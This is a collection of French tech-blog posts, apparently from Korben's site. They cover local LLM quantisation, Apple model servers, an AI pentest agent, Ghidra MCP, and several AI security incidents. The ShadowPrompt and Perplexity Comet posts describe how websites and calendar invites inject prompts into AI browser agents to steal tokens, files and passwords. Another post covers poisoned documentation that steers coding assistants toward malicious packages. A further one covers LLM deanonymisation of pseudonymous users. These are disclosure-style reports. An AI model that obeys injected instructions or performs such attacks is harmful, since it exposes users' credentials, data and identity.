Et c'est là qu'intervient notre développeur de génie, TheTom, qui a pris ce document académique de Google et l'a transformé en code C avec des kernels Metal pour Apple Silicon et CUDA pour NVIDIA. Et c'est pas juste un portage bête et méchant puisqu'il a vraiment poussé les expériences bien au-delà du document original avec une couverture de tests de 100% et des benchmarks sur des modèles de 1.5 à 104 milliards de paramètres.

Et ses découvertes les plus intéressantes c'est justement ce qui n'est PAS dans le paper. Première trouvaille : la compression des valeurs V est gratuite. Compresser V à 2 bits sur Qwen, Llama, Mistral ou Command-R+ n'a aucun impact mesurable sur la qualité d'attention, tant que les clés K restent en q8_0.

Et cela a été confirmé sur Metal M5 Max 128 Go, CUDA RTX 4090 et RTX 3090 par plusieurs testeurs indépendants. C'est franchement contre-intuitif, mais cela veut dire que toute la dégradation de qualité vient de la compression des clés K, et pas de leurs valeurs. Du coup une config asymétrique (K en q8_0, V en turbo3) arrive à récupèrer des modèles où la compression symétrique échoue.

Deuxième trouvaille : les couches limites sont hypersensibles. Protéger les 2 premières et 2 dernières couches en q8_0 pendant qu'on compresse le reste en turbo2 permet de récupérer jusqu'à 91% de la perte de qualité. Et plus le modèle est gros, mieux ça marche. C'est seulement 15 lignes de code, et là encore, y'a aucun impact sur la vitesse.

Troisième trouvaille : Sparse V, un décodage du cache qui saute les positions V à faible poids d'attention permet de gagner environ 23% de vitesse de décodage à 32K tokens de contexte. Et zéro dégradation de la qualité.

Côté chiffres bruts, y'a 3 modes : turbo4 compresse 3.8x et le modèle répond quasi pareil qu'avant. turbo3 compresse 4.6x avec une perte de qualité à peine détectable. turbo2 pousse à 6.4x mais là faut l'utiliser malin (uniquement sur les valeurs V, pas les clés K).

Et dire que pour l'instant Google n'a toujours pas publié de code officiel (mais c'est prévu pour le second trimestre 2026)... Donc pour le moment, cette implémentation communautaire est le seul moyen de tester TurboQuant dans un fork llama.cpp. Ça tourne sur Apple Silicon M1 à M5, NVIDIA RTX 3080 Ti à 5090 et AMD 6800 XT / 9070 XT et visiblement, pas mal de monde a testé sur du matériel varié et les résultats sont au rendez-vous.

Donc voilà, si vous faites de l' inférence LLM locale et que la mémoire vous limite, c'est le moment de tester ça !

  • ✇Korben
  • ShadowPrompt - N'importe quel site pouvait abuser votre extension Claude
    Une faille découverte dans l'extension Chrome de Claude permettait à n'importe quel site web d'injecter silencieusement des prompts dans votre assistant IA. Pas besoin de cliquer, pas besoin de permission... non, fallait juste visiter une page web et c'était réglé. Le chercheur Oren Yomtov de Koi Security à l’origine de cette découverte, a baptisé ça "ShadowPrompt" et vous allez voir, c'est dingue. En fait, cette attaque enchaînait deux failles. La première, c'est que l'extension acceptait les m

ShadowPrompt - N'importe quel site pouvait abuser votre extension Claude

Par : Korben
27 mars 2026 à 08:29

Une faille découverte dans l'extension Chrome de Claude permettait à n'importe quel site web d'injecter silencieusement des prompts dans votre assistant IA. Pas besoin de cliquer, pas besoin de permission... non, fallait juste visiter une page web et c'était réglé. Le chercheur Oren Yomtov de Koi Security à l’origine de cette découverte, a baptisé ça "ShadowPrompt" et vous allez voir, c'est dingue.

En fait, cette attaque enchaînait deux failles. La première, c'est que l'extension acceptait les messages de n'importe quel sous-domaine en *.claude.ai, car Anthropic avait mis en place un allowlist trop permissif. Sauf qu'Arkose Labs, le fournisseur de CAPTCHA, hébergeait un composant sur a-cdn.claude.ai et malheureusement, ce composant contenait une jolie faille XSS bien classique. Celui-ci acceptait les postMessage sans vérifier l'origine, et le texte reçu était ainsi injectable via un dangerouslySetInnerHTML . Donc y'a bien ZERO validation côté client. Ouééééé !

Un attaquant n'avait qu'à embarquer ce composant CAPTCHA vulnérable dans une iframe cachée sur son site, envoyer un payload via postMessage, et hop, le script injecté pouvait balancer un prompt directement à l'extension. Elle le recevait depuis un domaine *.claude.ai, donc elle l'acceptait les yeux fermés et l'affichait alors dans la sidebar comme une requête légitime de l'utilisateur. La victime ne voyait strictement rien.

Et les dégâts potentiels ne sont clairement pas anecdotiques ! Avec cette technique, un attaquant pouvait voler vos tokens d'accès Gmail, exfiltrer des documents Google Drive, lire tout l'historique de vos conversations avec Claude, et même envoyer des mails en votre nom. Perso, ça fait beaucoup pour un simple onglet ouvert dans Chrome, quoi.

Le chercheur a trouvé le vecteur en bruteforçant les anciennes versions du composant Arkose Labs, en remontant depuis la version 1.26.0 jusqu'à trouver une mouture encore vulnérable. Simple, basique comme dirait Orel :)

Si vous suivez les failles des assistants IA, c'est pas la première fois qu'on voit ce genre de scénario. Claude Cowork s'était déjà fait épingler pour de l'exfiltration de fichiers via des documents piégés, et le navigateur Perplexity Comet avait le même problème avec des invitations de calendrier. Le problème de fond, c'est que ces extensions veulent tout faire à votre place, mais elles ne sont pas forcément capables de distinguer une requête légitime d'une attaque.

Par contre, attention, le fix ne protège que les utilisateurs qui ont mis à jour l'extension, donc n'oubliez pas de vérifier votre version. Koi Security a signalé la faille à Anthropic le 26 décembre 2025 (joyeux Noël !) et ces derniers ont confirmé le lendemain et déployé le correctif le 15 janvier, dans la version 1.0.41 de l'extension Chrome.

Maintenant au lieu d'accepter *.claude.ai, l'extension exige maintenant une correspondance exacte avec https://claude.ai . Arkose Labs a de son côté aussi corrigé la faille XSS en février, en renvoyant un 403 sur l'URL vulnérable. À vrai dire, la réactivité d'Anthropic a été plutôt correcte sur ce coup.

Bref, allez vérifier que vous êtes au moins en v1.0.41 (chrome://extensions pour checker). Et n'oubliez pas, plus une extension IA a de pouvoirs, plus elle est intéressante à hacker...

Source

  • ✇Korben
  • Le piratage par IA n'a plus besoin de malware : une simple doc suffit
    Une nouvelle méthode d'attaque cible les IA de développement comme Copilot. En publiant de la documentation empoisonnée, des hackers trompent les modèles pour qu'ils recommandent des bibliothèques malveillantes. Cette menace invisible pour la sécurité est indétectable par les outils classiques. Le concept est d'une simplicité désarmante. Plus besoin d'injecter du code malicieux dans un dépôt GitHub ou de trouver une faille zero-day complexe. Il suffit désormais de publier de la documentation tec

Le piratage par IA n'a plus besoin de malware : une simple doc suffit

Par : Korben
26 mars 2026 à 13:02

Une nouvelle méthode d'attaque cible les IA de développement comme Copilot. En publiant de la documentation empoisonnée, des hackers trompent les modèles pour qu'ils recommandent des bibliothèques malveillantes. Cette menace invisible pour la sécurité est indétectable par les outils classiques.

Le concept est d'une simplicité désarmante. Plus besoin d'injecter du code malicieux dans un dépôt GitHub ou de trouver une faille zero-day complexe. Il suffit désormais de publier de la documentation technique faussée sur des forums, des wikis ou des fichiers README publics. Ces textes, une fois ingérés par les grands modèles de langage (LLM), deviennent une source de vérité pour l'IA qui assiste les développeurs au quotidien.

Le mécanisme de l'injection indirecte

Le problème est en fait dans la confiance aveugle que les modèles accordent aux données d'entraînement. En décrivant une solution technique qui utilise un paquet spécifique — mais malveillant — l'attaquant s'assure que l'IA proposera ce nom lors d'une requête de génération de code. C'est ce qu'on appelle l'injection de prompt indirecte. Le développeur, pensant gagner du temps, valide la suggestion et installe un composant compromis sans vérification préalable.

Le typosquatting passe au niveau supérieur

Cette technique facilite grandement le typosquatting. Auparavant, un attaquant devait espérer qu'un humain fasse une faute de frappe en saisissant une commande. Aujourd'hui, c'est l'IA qui commet l'erreur pour lui, influencée par des références empoisonnées trouvées sur le web. Comme l'IA présente la solution avec une assurance pédagogique, le sens critique de l'utilisateur baisse d'un cran. Le malware n'est plus dans la documentation, il arrive dans la machine au moment où le développeur exécute la suggestion générée.

Un défi pour la cybersécurité logicielle

La difficulté majeure est que cette attaque est purement textuelle. Les outils de scan de vulnérabilités cherchent du code dangereux, pas des explications trompeuses en langage naturel. Tant que les modèles d'IA ne sauront pas distinguer une documentation légitime d'une tentative de manipulation sémantique, la chaîne d'approvisionnement logicielle restera vulnérable à cette forme de gaslighting numérique. La sécurité repose désormais sur la véracité de l'information ingérée par les machines.

On atteint ici les limites de l'automatisation du développement. Faire confiance à un LLM pour choisir ses dépendances est devenu un risque de sécurité majeur. Cette faille montre que le maillon faible n'est plus seulement l'humain qui tape du code, mais l'outil qui lui souffle les réponses. On risque de voir apparaître des systèmes de vérification de réputation de documentation.

Source : The Register

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  • Dire à une IA qu'elle est experte la rend moins performante
    Des chercheurs de l'université de Californie du Sud viennent de publier une étude improbable : demander à un modèle d'IA de jouer les experts dégrade ses performances sur les tâches factuelles. Commencer un prompt par "Tu es un expert en programmation" produit de moins bons résultats que de poser la question directement. Le piège du "tu es un expert" L'étude, intitulée "Expert Personas Improve LLM Alignment but Damage Accuracy", a mesuré l'impact des instructions de rôle sur les réponses des mod

Dire à une IA qu'elle est experte la rend moins performante

Par : Korben
25 mars 2026 à 16:08

Des chercheurs de l'université de Californie du Sud viennent de publier une étude improbable : demander à un modèle d'IA de jouer les experts dégrade ses performances sur les tâches factuelles. Commencer un prompt par "Tu es un expert en programmation" produit de moins bons résultats que de poser la question directement.

Le piège du "tu es un expert"

L'étude, intitulée "Expert Personas Improve LLM Alignment but Damage Accuracy", a mesuré l'impact des instructions de rôle sur les réponses des modèles de langage.

Sur le benchmark MMLU, qui teste les connaissances générales et le raisonnement, les modèles avec une persona d'expert ont obtenu 68 % de bonnes réponses contre 71,6 % sans aucune instruction de rôle.

La baisse est constante sur toutes les catégories testées : maths, code, sciences, culture générale. Bref, dire à une IA qu'elle est brillante la rend un peu moins brillante.

Quand ça marche quand même

Par contre, le persona prompting fonctionne très bien pour un autre type de tâches : la sécurité et l'alignement. En attribuant un rôle de "moniteur de sécurité" au modèle, les chercheurs ont augmenté le taux de refus d'attaques de 53,2 % à 70,9 %, soit une hausse de 17,7 points. Pour les tâches d'écriture et de mise en forme, les personas aident aussi.

L'explication est assez logique : quand on colle un rôle d'expert au modèle, il bascule en mode "suivi d'instructions" et mobilise moins de ressources pour aller chercher les faits dans ses données d'entraînement. Aucune connaissance n'est ajoutée, on déplace juste l'attention du modèle.

Le bon réflexe à adopter

Les chercheurs de l'USC proposent un outil baptisé PRISM qui active automatiquement les personas uniquement quand c'est utile. Mais en attendant que ce genre de système soit intégré aux chatbots grand public, la recommandation est simple : si vous avez besoin de réponses factuelles ou de code, posez votre question directement sans ajouter de rôle.

Si vous voulez que l'IA respecte un ton, un format ou des consignes de sécurité, le persona prompting reste la bonne approche.

On a quand même passé deux ans à répéter partout qu'il fallait commencer ses prompts par "Tu es un expert en..." pour avoir de meilleurs résultats. Visiblement, c'était un peu du vent.

Source : Search Engine Journal

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  • Perspective Intelligence - L'IA de votre Mac sort de sa cage
    Apple Intelligence, c'est super cool... sauf que c'est verrouillé et dispo sur les appareils Apple uniquement. Du coup, pas moyen d'en profiter depuis votre PC Windows, votre Chromebook ou votre téléphone Android. C'est pour cela qu'un dev a eu une idée plutôt pas con qui consiste à transformer votre Mac en serveur IA accessible depuis n'importe quel navigateur. Le projet s'appelle Perspective Intelligence Web et le principe c'est que vous installez Perspective Server , ou plutôt une petite app

Perspective Intelligence - L'IA de votre Mac sort de sa cage

Par : Korben
5 mars 2026 à 09:36

Apple Intelligence, c'est super cool... sauf que c'est verrouillé et dispo sur les appareils Apple uniquement. Du coup, pas moyen d'en profiter depuis votre PC Windows, votre Chromebook ou votre téléphone Android. C'est pour cela qu'un dev a eu une idée plutôt pas con qui consiste à transformer votre Mac en serveur IA accessible depuis n'importe quel navigateur.

Le projet s'appelle Perspective Intelligence Web et le principe c'est que vous installez Perspective Server , ou plutôt une petite app dans la barre de menus de macOS. Et ensuite celle-ci expose les Foundation Models d'Apple (les modèles de langage intégrés à macOS, ceux qui tournent en local sur votre puce M1, M2, M3 ou M4) sous forme d'API compatible OpenAI sur le port 11435. Et voilà comment votre Mac devient un vrai serveur d'inférence IA !

Le client web, c'est du Next.js 16 avec un look à la iMessage, thème sombre, bulles de chat, streaming en temps réel via SSE. Vous vous connectez depuis Chrome sur Windows, Firefox sur Linux, Safari sur iPad... peu importe. Tant que ça affiche une page web, c'est que ça marche !

Et cela vous met à dispo 8 agents spécialisés : code, écriture, traduction, résumés, créativité, tutorat... et même un mode accessibilité. Les conversations sont classées automatiquement et l'historique est stocké dans PostgreSQL (compatible avec le tier gratuit de Neon, donc zéro coût côté BDD).

D'ailleurs l'API de Perspective Server est compatible OpenAI ET Ollama comme ça, vous pouvez aussi brancher Cursor IDE, Continue.dev, ou même Xcode 26 dessus. En gros, tout ce qui sait causer à une API OpenAI peut utiliser l'IA locale de votre Mac. C'est gratos, c'est local, et ça respecte votre vie privée ! Que demande le peuple ?

Si vous avez déjà bidouillé avec Ollama et les modèles locaux , c'est le même genre d'approche... sauf que là ce sont les modèles d'Apple qui font le boulot.

Et côté Apple, faut savoir qu'avec OpenELM en 2024, Apple a commencé à publier certains de ses modèles IA en open source. La différence ici, c'est que les Foundation Models de macOS 26 sont bien plus costauds... et surtout intégrés nativement au système. Ce que fait Perspective Server c'est de les rendre accessibles via une API standard, ce qu'Apple ne propose pas, comme vous pouvez vous douter.

Côté sécurité, le serveur gère les sessions multi-turn avec un TTL de 30 minutes et un système de "guardrail recovery" qui vire les sessions problématiques pour éviter que l'IA parte en vrille. 50 sessions max en parallèle, 3 inférences simultanées... sauf si vous invitez tout le quartier sur l'API, vous serez plutôt à l'aise.

L'installation se fait en une commande curl :

curl -fsSL https://raw.githubusercontent.com/Techopolis/perspective-intelligence-web-community/main/scripts/install.sh | bash

Et éditez ensuite next-app/.env.local avec l'URL de votre base Postgres (DATABASE_URL), puis faites :

cd perspective-intelligence-web-community/next-app && npm install && npx drizzle-kit push && npm run dev

Ouvrez ensuite l'URL http://localhost:3000 , créez vous un compte et vous pouvez commencer à chatter avec l'IA d'Apple.

Voilà, c'est encore jeune mais l'idée est carrément bonne donc à garder dans un coin si vous avez un Mac qui s'ennuie parce que vous avez investi dans un Mac Mini avant de vous rendre compte qu'OpenClaw ça ne servait pas à grand chose ^^ !

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  • Perplexity Comet : une invitation de calendrier suffisait pour piller vos mots de passe 1Password
    Des chercheurs en sécurité ont découvert deux failles dans Comet, le navigateur IA de Perplexity. Une simple invitation de calendrier piégée suffisait pour accéder aux fichiers locaux de la machine et prendre le contrôle d'un coffre-fort 1Password, le tout sans aucun clic de l'utilisateur. Une invitation de calendrier, et c'est tout L'attaque est d'une simplicité qui fait froid dans le dos. Les chercheurs de Zenity Labs, qui ont baptisé la faille « PleaseFix », ont montré qu'il suffisait d'envoy

Perplexity Comet : une invitation de calendrier suffisait pour piller vos mots de passe 1Password

Par : Korben
4 mars 2026 à 11:13

Des chercheurs en sécurité ont découvert deux failles dans Comet, le navigateur IA de Perplexity. Une simple invitation de calendrier piégée suffisait pour accéder aux fichiers locaux de la machine et prendre le contrôle d'un coffre-fort 1Password, le tout sans aucun clic de l'utilisateur.

Une invitation de calendrier, et c'est tout

L'attaque est d'une simplicité qui fait froid dans le dos. Les chercheurs de Zenity Labs, qui ont baptisé la faille « PleaseFix », ont montré qu'il suffisait d'envoyer une invitation de calendrier contenant des instructions malveillantes cachées. Quand l'utilisateur interagit avec cette invitation dans Comet, l'IA du navigateur exécute en toute décontraction les instructions, sans broncher. Pas besoin de cliquer sur un lien, pas besoin de télécharger quoi que ce soit : le simple fait de consulter l'événement suffisait. Le problème vient de ce qu'on appelle l'injection de prompt indirecte : l'IA ne fait pas la différence entre les instructions légitimes et le contenu malveillant planqué dans un calendrier.

Des fichiers locaux aux mots de passe

Deux failles distinctes ont été identifiées. La première permettait d'accéder au protocole file:// sans restriction, ce qui veut dire que Comet pouvait lire n'importe quel fichier sur votre machine. Les navigateurs classiques bloquent logiquement cela depuis des années, mais les navigateurs IA comme Comet ne respectent pas encore, hélas, les mêmes règles de sécurité. La seconde est plus grave : quand l'extension 1Password était déverrouillée dans Comet, un attaquant pouvait naviguer dans le coffre-fort, récupérer les identifiants et même changer le mot de passe du compte pour un verrouillage total.

Corrigé en deux temps

Perplexity a été prévenu du problème dès la fin octobre 2025, et un correctif a été déployé le 23 janvier 2026. Mais voilà, ce correctif n'était pas suffisant et les chercheurs ont réussi à le contourner sans trop de problème. Un second patch, plus efficace, a suivi le 13 février. L'accès au système de fichiers est désormais bloqué par défaut dans Comet. Mais attention : côté 1Password et blocage de domaines, les protections sont toujours à configurer manuellement par l'utilisateur.

On ne va pas se mentir, ce genre de faille rappelle que les navigateurs IA sont encore une technologie immature côté sécurité. Le fait qu'une invitation de calendrier puisse siphonner un coffre-fort 1Password est assez flippant. Et Comet n'est pas un cas isolé : LayerX a trouvé des problèmes comparables avec les extensions Claude Desktop, et Zenity avait déjà présenté des résultats similaires sur ChatGPT Enterprise et Gemini à la Black Hat en août dernier. Le vrai problème avec cette histoire, c'est que ces navigateurs veulent pouvoir tout faire à votre place, mais ils ne sont pas vraiment foutus de faire la différence entre une demande légitime et une vilaine attaque. Bref, prudence avec les navigateurs « intelligents ».

Sources : The Register , The Decoder

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  • Un LLM à 4 dollars peut griller votre pseudo
    Votre pseudo de justicier masqué sur Reddit ne vaut plus grand-chose, les amis... En effet, des chercheurs de l'ETH Zurich viennent de prouver qu'un LLM peut retrouver votre vraie identité à partir de vos posts anonymes, avec 67% de réussite... et pour moins de 4 dollars par profil. L' étude a été publiée sur arXiv par six chercheurs, dont Nicholas Carlini d'Anthropic (les créateurs de Claude) et le principe fait flipper. En fait ils ont mis au point des agents IA qui analysent vos commentaires

Un LLM à 4 dollars peut griller votre pseudo

Par : Korben
26 février 2026 à 14:47

Votre pseudo de justicier masqué sur Reddit ne vaut plus grand-chose, les amis... En effet, des chercheurs de l'ETH Zurich viennent de prouver qu'un LLM peut retrouver votre vraie identité à partir de vos posts anonymes, avec 67% de réussite... et pour moins de 4 dollars par profil.

L' étude a été publiée sur arXiv par six chercheurs, dont Nicholas Carlini d'Anthropic (les créateurs de Claude) et le principe fait flipper. En fait ils ont mis au point des agents IA qui analysent vos commentaires publics, créent un profil structuré... ou plutôt un portrait-robot de vos habitudes et centres d'intérêt, puis ratissent des milliers de candidats pour trouver à qui ça correspond.

Budget total de l'opération : environ 2 000 dollars pour 338 profils Hacker News passés au crible. Et sur tout ça, 226 ont été identifiés correctement, 25 sont des erreurs et 86 sont des "abstentions" quand le modèle doutait trop. Ça revient à 1 à 4 dollars par profil, et quand le modèle est assez sûr de lui pour donner une réponse (donc hors abstentions), il tape juste 9 fois sur 10. Pas cher payé donc pour s'offrir la fin de votre anonymat TOTAL !

Le truc, c'est que Hacker News c'était juste l'apéro. La même technique a été lâchée ensuite sur des interviews anonymisées, des profils LinkedIn et ce bon vieux Reddit. Même recette, et surtout mêmes résultats.

Le côté obscur de cette recherche, c'est que ça ouvre encore plus la porte aux arnaques d'ingénierie sociale sur mesure, au ciblage pub ultra-personnalisé sans votre consentement, et pire... à la traque de journalistes ou d'activistes planqués derrière un pseudo...

Notez que ce taux de 67%, c'est sur des profils Hacker News où les gens qui postent beaucoup de contenu technique assez spécifique. Mais sur un compte avec trois commentaires génériques, ça ne marche pas aussi bien. Mais bon, qui poste que 3 fois sur un forum ? Le piège, c'est qu'on finit toujours par en dire plus qu'on croit...

Maintenant côté protection, attention, c'est pas la fête. Si vous voulez éviter de vous faire traquer, faudra varier votre style d'écriture entre les plateformes, éviter de balancer trop de détails perso (ville, job, stack technique) dans vos commentaires, et surtout utiliser des comptes séparés plutôt qu'un seul pseudo partout. D'ailleurs le fingerprinting de navigateur c'est déjà un problème connu, mais là on parle de fingerprinting de votre STYLE D'ÉCRITURE donc carrément autre chose !

Perso, ça confirme finalement ce qu'on savait depuis le documentaire Rien à cacher : l'anonymat en ligne c'est surtout une illusion. Sauf que maintenant, même pas besoin d'être la NSA pour lever le voile... un LLM à 4 balles suffit.

Le pseudonymat face à un LLM c'est un grillage face à une perceuse... Bon courage aux anonymes qui me lisent...

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  • Claude ouvre ses outils pro à tous (et y'a zéro pub)
    OpenAI colle des pubs dans ChatGPT, et pendant ce temps, Anthropic fait exactement l'inverse puisqu'ils viennent d'ouvrir tous les outils premium de Claude aux utilisateurs gratuits. Création de fichiers Excel, PowerPoint, Word, PDF (oui, tout ça)... c'était autrefois réservé aux abonnés Pro et depuis hier, c'est accessible à tout le monde ! Vous pouvez donc créer un tableau Excel avec des formules, un PowerPoint bien formaté, ou un document Word prêt à envoyer. Côté connecteurs, vous pouvez bra

Claude ouvre ses outils pro à tous (et y'a zéro pub)

Par : Korben
12 février 2026 à 10:20

OpenAI colle des pubs dans ChatGPT, et pendant ce temps, Anthropic fait exactement l'inverse puisqu'ils viennent d'ouvrir tous les outils premium de Claude aux utilisateurs gratuits.

Création de fichiers Excel, PowerPoint, Word, PDF (oui, tout ça)... c'était autrefois réservé aux abonnés Pro et depuis hier, c'est accessible à tout le monde ! Vous pouvez donc créer un tableau Excel avec des formules, un PowerPoint bien formaté, ou un document Word prêt à envoyer.

Côté connecteurs, vous pouvez brancher Claude directement sur Slack, Notion, Figma, WordPress, Zapier, Stripe, Canva, Asana et même PayPal. En gros, l'IA va chercher des infos dans vos outils et agit dessus plutôt que de vous laisser faire du copier-coller.

Y'a aussi les Skills (pour expliquer rapidos, ce sont des fichiers d'automatisation) que vous configurez pour que l'assistant fasse des tâches répétitives à votre place. Du coup, si vous avez déjà bidouillé avec ses capacités de dev , vous voyez l'intérêt d'avoir ça.

Anthropic a aussi glissé la "conversation compaction" qui garde le contexte sur des échanges plus longs. Le modèle pour les gratuits, c'est Sonnet 4.5 et les abonnés Pro à 20$/mois gardent Opus. Attention quand même, les limites d'utilisation n'ont PAS bougé parce que bon, faut bien vendre le Pro. Donc au bout de quelques échanges, ça sera moins chouette ^^... sauf si vous passez à la caisse, évidemment.

Moi je suis pas super fan de leur application Desktop et je préfère largement la version Claude Code en CLI mais bon, c'est juste une question de goût, car ça marche tout aussi bien.

Bref, entre les pubs d'OpenAI et les outils gratuits d'Anthropic... le choix est vite fait ! Anthropic est à un virage important et il ne faut pas qu'ils se loupent, car les gens sont ( enfin ) en train de se rendre compte que leur Claude est biiiiien au dessus de ce que propose ChatGPT.

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  • Shannon - L'IA qui pentest votre code toute seule
    Vous connaissez tous Kali Linux , Metasploit et compagnie… Mais est-ce que vous avez déjà vu une IA faire un pentest toute seule ? Genre, VRAIMENT toute seule. Shannon , c'est un framework open source qui lâche un agent IA sur votre code, et qui enchaîne recon, analyse de vulns, et exploitation, tout ça sans intervention humaine. En gros, vous lui filez une URL cible et l'accès à votre code source (faut que le repo soit accessible, c'est la base), et l'agent se débrouille. Il commence alors par

Shannon - L'IA qui pentest votre code toute seule

Par : Korben
11 février 2026 à 15:31

Vous connaissez tous Kali Linux , Metasploit et compagnie… Mais est-ce que vous avez déjà vu une IA faire un pentest toute seule ? Genre, VRAIMENT toute seule. Shannon , c'est un framework open source qui lâche un agent IA sur votre code, et qui enchaîne recon, analyse de vulns, et exploitation, tout ça sans intervention humaine.

En gros, vous lui filez une URL cible et l'accès à votre code source (faut que le repo soit accessible, c'est la base), et l'agent se débrouille. Il commence alors par analyser le code en statique… puis lance des attaques dynamiques sur l'app en live. Pour cela, il déploie plusieurs sous-agents spécialisés qui bossent en parallèle via Temporal, un moteur de workflow.

Un agent pour la reconnaissance, un pour chercher les injections SQL, un autre pour les XSS, un pour les SSRF, un pour les problèmes d'authentification… Bref, chacun fait son taf et tout remonte dans un rapport final au format JSON.

Le truc, c'est que Shannon ne se contente pas de scanner bêtement comme un Nessus ou un Burp. L'agent COMPREND votre code. Il lit les routes, les middlewares, les requêtes SQL, et il construit ses attaques en fonction. Du coup, il trouve des trucs que les scanners classiques loupent complètement, genre une injection NoSQL planquée dans un endpoint obscur ou un bypass d'auth via un cookie mal valide. Attention par contre, si votre app utilise un framework un peu exotique ou du code obfusqué, y'a des chances que l'agent passe à côté… comme tout scanner, hein.

Pour ceux qui se demandent combien coute un test d'intrusion classique, ça va de 3 000 € à plusieurs dizaines de milliers d'euros. Shannon, c'est open source et ça tourne sur Docker, par contre, faudra compter environ 50 dollars en tokens API Anthropic par run… c'est pas gratuit mais c'est quand même 60 fois moins cher qu'un audit humain.

Cote installation, c'est Docker + Docker Compose, un fichier .env avec votre cle API Anthropic (la variable ANTHROPIC_API_KEY, classique), et hop, un docker compose up pour lancer le tout. Le workflow complet prend entre 1 h et 1 h 30 selon la taille de votre base de code. Vous pouvez suivre la progression en temps réel via l'interface web Temporal sur localhost:8233. (perso, j'aime bien voir les agents bosser en parallèle, ça a un côté satisfaisant).

Et attention, Shannon exécute de VRAIES attaques. C'est mutatif. Ça veut dire que si l'agent trouve une injection SQL, il va l'exploiter pour de vrai pour prouver que ça marche. Du coup, on le lance sur du code à soi, en local ou sur un environnement de test. Mais jamais en prod. JAMAIS !!!

Bon, sauf si vous aimez vivre dangereusement et que votre boss est en vacances… ^^

Les agents d'exploitation (Auth, SSRF, XSS, AuthZ) en parallèle sur la timeline Temporal

Pour en avoir le cœur net, je l'ai lancé sur une app Node.js/Express maison avec 27 endpoints d'API. 2 heures de scan, 287 transitions d'état, 7 agents qui ont bossé en parallèle… et une facture Anthropic qui pique un peu. Parce que oui, chaque agent consomme des tokens Claude à chaque étape d'analyse et d'exploitation, et ça s'additionne vite. Comptez une cinquantaine de dollars pour un run complet. Bref, c'est pas gratuit de se faire hacker par une IA.

Cote résultats par contre, plutôt parlant. Zero injection SQL exploitable, les 23 paramètres utilisateur ont été tracés jusqu'aux requêtes et Shannon a confirmé que tout était paramétré correctement. Bien joué. Par contre, il a détecté 6 failles SSRF liées à des contournements IPv6, des XSS stockées via innerHTML sans aucun échappement dans le frontend, et surtout… ZERO authentification sur les 27 endpoints. Genre, n'importe qui peut purger ma base ou cramer vos crédits API Claude sans se connecter. Bon après, c'est un outil que je me suis dev, qui est un proto local, donc c'est pas exposé sur internet.

Le rapport final est plutôt bien foutu, je trouve. Pour chaque vuln trouvée, vous avez la sévérité CVSS (critique, haute, moyenne), le vecteur d'attaque utilisé, une preuve d'exploitation avec les payloads, et surtout des recommandations de correction. Shannon va jusqu'à vous montrer la ligne de code fautive, expliquer pourquoi le bypass fonctionne, et proposer le fix. Si vous utilisez déjà des outils comme Sploitus pour votre veille secu, Shannon c'est le complément parfait pour passer de la théorie à la pratique sur votre propre code.

Le projet est encore jeune, c'est vrai, mais l'approche est intéressante. Plutôt que d'automatiser bêtement des scans, on a donc un agent qui raisonne sur le code et adapte sa stratégie. Ça change des outils qui balancent des milliers de requêtes à l'aveugle et qui vous noient sous les faux positifs.

Alors après, je vous vois venir, vous allez me dire : est-ce que ça vaut un vrai pentester qui connait votre infra par cœur et qui sait où chercher les trucs tordus ?

Pas vraiment, mais pour un premier audit à moindre coût, ça fait le taf.

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  • Ghidra MCP - Quand l'IA fait le reverse engineering à votre place
    Ghidra, le framework de reverse engineering open source de la NSA, est un outil que tous les analystes sécu utilisent au quotidien pour démonter des binaires. Sauf que voilà... quand vous passez des heures à renommer des fonctions, documenter des structures et tracer des cross-references à la main, ça finit par devenir un poil répétitif. Du coup, un développeur a eu l'idée de coller un serveur MCP (Model Context Protocol) directement sur Ghidra. "Encore un wrapper IA bidon ??"... mais non les am

Ghidra MCP - Quand l'IA fait le reverse engineering à votre place

Par : Korben
6 février 2026 à 09:15

Ghidra, le framework de reverse engineering open source de la NSA, est un outil que tous les analystes sécu utilisent au quotidien pour démonter des binaires. Sauf que voilà... quand vous passez des heures à renommer des fonctions, documenter des structures et tracer des cross-references à la main, ça finit par devenir un poil répétitif.

Du coup, un développeur a eu l'idée de coller un serveur MCP (Model Context Protocol) directement sur Ghidra. "Encore un wrapper IA bidon ??"... mais non les amis car Ghidra MCP Server est un bridge Python + plugin Java qui expose pas moins de 110 outils d'analyse via le protocole MCP. Rien que ça.

Concrètement, ça veut dire que vous pouvez brancher Claude, ou n'importe quel outil compatible MCP, directement sur votre session Ghidra et lui demander de décompiler des fonctions, tracer des call graphs, renommer des variables en batch ou même créer des structures de données automatiquement.

Au niveau architecture, un plugin Java tourne dans Ghidra et expose une API REST sur localhost:8089, puis un bridge Python fait la traduction entre le protocole MCP et ces endpoints HTTP. Vous lancez Ghidra, vous activez le serveur via Tools > GhidraMCP > Start MCP Server, et hop, votre IA peut causer directement avec le décompileur.

Et c'est pas juste de la décompilation basique. Y'a de l'analyse de structures, de l'extraction de strings, du mapping mémoire complet, de la gestion de scripts Ghidra (plus de 70 scripts d'automatisation livrés avec le projet !) et même un système de documentation cross-binaire.

En gros, vous analysez un malware, vous documentez toutes les fonctions, et si vous tombez sur une variante plus tard, l'outil transfère automatiquement votre doc via un système de hash SHA-256 sur les opcodes. Plutôt chouette ! En revanche, ça marche pas si le code est fortement obfusqué... logique.

Bon, pour ceux qui connaissent déjà OGhidra (qui fait tourner des LLM en local dans Ghidra), Ghidra MCP Server c'est l'approche inverse. Au lieu d'embarquer l'IA dans Ghidra, c'est Ghidra qui s'ouvre à l'IA via un protocole standardisé. Du coup vous n'êtes pas limité à un seul modèle... Claude, GPT, Gemini, n'importe quel client MCP fait l'affaire.

Côté prérequis, faut Java 21, Maven 3.9+, Python 3.10+ et évidemment Ghidra 12.0.2. L'install se fait en quelques étapes : cloner le repo, pip install, copier les libs Ghidra dans lib/, compiler avec Maven et déployer le zip dans les extensions. Rien de bien sorcier si vous êtes déjà dans l'écosystème... sauf si vous êtes sous Windows, là faudra peut-être un peu galérer avec Maven.

Les opérations batch sont par exemple très intéressantes... Avec cette fonctionnalité, vous pouvez renommer 50 variables d'un coup, poser des commentaires sur toutes les fonctions d'un module, typer des paramètres en série.

Bref, si vous faites de l'analyse de binaires et que vous voulez arrêter de tout vous taper à la main, c'est le genre de combo reverse engineering + IA qui va vous faire gagner pas mal de temps !

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  • Faites de Claude une armée de développeurs à votre service
